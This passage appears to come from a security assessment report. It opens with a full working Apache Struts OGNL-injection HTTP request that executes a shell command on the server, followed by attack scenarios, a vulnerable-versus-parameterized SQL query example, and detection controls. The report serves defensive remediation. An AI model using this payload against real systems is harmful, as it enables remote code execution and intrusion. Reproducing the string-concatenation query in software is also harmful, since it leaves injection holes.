POST /struts2-showcase/employee/save.action HTTP/1.1
Host: web-prod-01.company.com
Content-Type: application/x-www-form-urlencoded

name=%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
                

Remediation Steps:

• Step 1: Schedule emergency maintenance window (recommended: off-peak hours)

4. Attack Vector Analysis

The following attack scenarios were identified as most likely based on current threat landscape:

Scenario 1: External Attacker - Web Application Compromise

• Entry Point: Internet-facing web servers via CVE-2024-1234
• Attack Path: RCE → Privilege escalation → Lateral movement to database servers → Data exfiltration
• Likelihood: High (publicly known exploit, automated scanning)
• Impact: Critical (complete system compromise, data breach)
• Detection: WAF alerts, IDS signatures, anomalous outbound traffic

Scenario 2: Authenticated Attacker - SQL Injection

• Entry Point: Customer portal with valid credentials
• Attack Path: SQL injection → Database access → Customer data extraction → Privilege escalation
• Likelihood: Medium (requires authentication but easily obtained)
• Impact: High (customer data breach, regulatory violations)
• Detection: Database query monitoring, anomalous data access patterns

5. Technical Remediation Procedures

SQL Injection Remediation (CVE-2024-5678)

• Affected Code: CustomerPortal/Controllers/SearchController.cs, lines 145-167
• Current Implementation: String concatenation for SQL query construction
• Required Changes: Implement parameterized queries using prepared statements

// VULNERABLE CODE (DO NOT USE):
string query = "SELECT * FROM Customers WHERE CustomerID = '" + userInput + "'";
SqlCommand cmd = new SqlCommand(query, connection);

// SECURE CODE (USE THIS):
string query = "SELECT * FROM Customers WHERE CustomerID = @CustomerID";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@CustomerID", userInput);
                

Implementation Steps:

• Identify all SQL query construction points in application code
• Replace string concatenation with parameterized queries
• Implement input validation and sanitization as defense-in-depth
• Add SQL injection detection to WAF rules
• Conduct code review to identify any remaining vulnerable patterns
• Perform security testing including fuzzing and SQL injection test cases

6. Monitoring and Detection

Implement the following monitoring controls to detect exploitation attempts:

• Web Application Firewall: Enable ModSecurity OWASP Core Rule Set with custom rules for identified vulnerabilities
• Intrusion Detection: Deploy Snort/Suricata rules for CVE-2024-1234 and SQL injection patterns
• Log Monitoring: Configure SIEM alerts for suspicious patterns (OGNL expressions, SQL keywords in URLs, multiple failed authentication attempts)
• Network Monitoring: Monitor for unusual outbound connections from web servers
• File Integrity Monitoring: Implement AIDE or Tripwire to detect unauthorized file modifications
